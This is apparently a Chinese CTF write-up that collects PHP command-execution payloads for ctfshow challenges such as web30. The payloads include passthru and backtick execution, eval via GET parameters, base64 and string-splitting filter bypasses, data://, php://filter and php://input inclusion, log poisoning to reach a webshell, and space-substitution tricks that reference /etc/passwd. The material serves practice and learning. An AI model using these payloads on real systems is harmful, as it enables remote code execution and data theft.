php命令执行的一些执行函数----以ctfshow靶场为解题思路

PHP命令执行

一招鲜,吃遍天 c=show_source("flag.php"); c=include($_GET[1]); c=include("flag.php");var_dump(get_defined_vars());

web30:

这道题目过滤了flag,system,php。

那么我们

解法1:passthru

?c=passthru("tac%20fla*");

解法2:绕过*号

假如*号被过滤了,我们可以通过?c=passthru("ls");先获取flag.php是目标,然后再通过?来匹配单个字母,也就是fla?????匹配flag.php,试一下,成功。 ?c=passthru("tac%20fla?????");

解法3:内敛执行 (反字节符)

?c=echo%20`tac%20fla*`;
注意结尾的分号,注意写writeup时,因为有反字节符,要核对一下是否转义,需要再在页面上确认一下。 利用echo命令和tac相结合来实现。注意flag采用*绕过,`反字节符,是键盘左上角与~在一起的那个。

解法4:带参数输入

?c=$_GET[1]&1=phpinfo(); 不行,原来是写错了。第一个c那里少了eval,少了分号。 /?c=eval($_GET[1]);&1=phpinfo();

?c=eval($_GET[1]);&1=system("tac%20flag.php");

解法5: 显示文件命令配合base64编码

?c= highlight_file(base64_decode("ZmxhZy5waHA="));

解法6:使用base64编码绕过

  1. system被过滤,使用passthru函数
  2. payload = url/?payload = passthru(base64_decode("base64-code")); 即url/?c=passthru(base64_decode("Y2F0IGZsYWcucGhw=="));

解法7、利用cp命令将flag拷贝到别处

?c=system("cp fl*g.php a.txt ");
然后浏览器访问a.txt,读取即可。

解法8、拼接法

看了几位师傅的wp,补充一个方法 ?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*");

解法9、可以利用已知的其他函数来凑出所需要的字符串来绕过

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码

解法10、利用文件包含

①?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

②?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

③首先我们可以用BP进行抓包,把?file=php://input输入到链接后刷新抓包,然后再BP中修改发包方式为POST,然后在下面输入<?php system('tac flag.php');?>,就可以获取到flag了

?c=include$_GET[1]?>&1=php://input

④?c=include$_GET[1]?>&1=/var/log/nginx/access.log,进入日志文件,添加UA头,然后用蚁剑连接

二、过滤字符

空格可以利用%20,%09,

“;”可以利用?>来代替

使用" || " " & " " && " 分隔
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

过滤了分号和cat,可以用||和&来代替分号,tac代替cat

可构造playload:
url/?c=tac flag.php||
url/?c=tac flag.php%26
注意,这里的&需要url编码

还有一种方法是nl flag.php+%26或%0a也就是换行符

空格可以用<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)代替,然后可以使用“\”这个符号来分隔字母类的

c''at${IFS}fla''g.p''hp
?c=ca\t${IFS}fla\g.ph\p

这种题目可以先扫目录,然后再寻找文件,然后把文件带出来

scandir查看目录 ->用前几题的方法获取flag

查看根目录内容
c=print_r(scandir("/"));
查看文件内容
POST传参:c=highlight_file("/flag.txt");
POST传参:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt
c=show_source('flag.php');
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值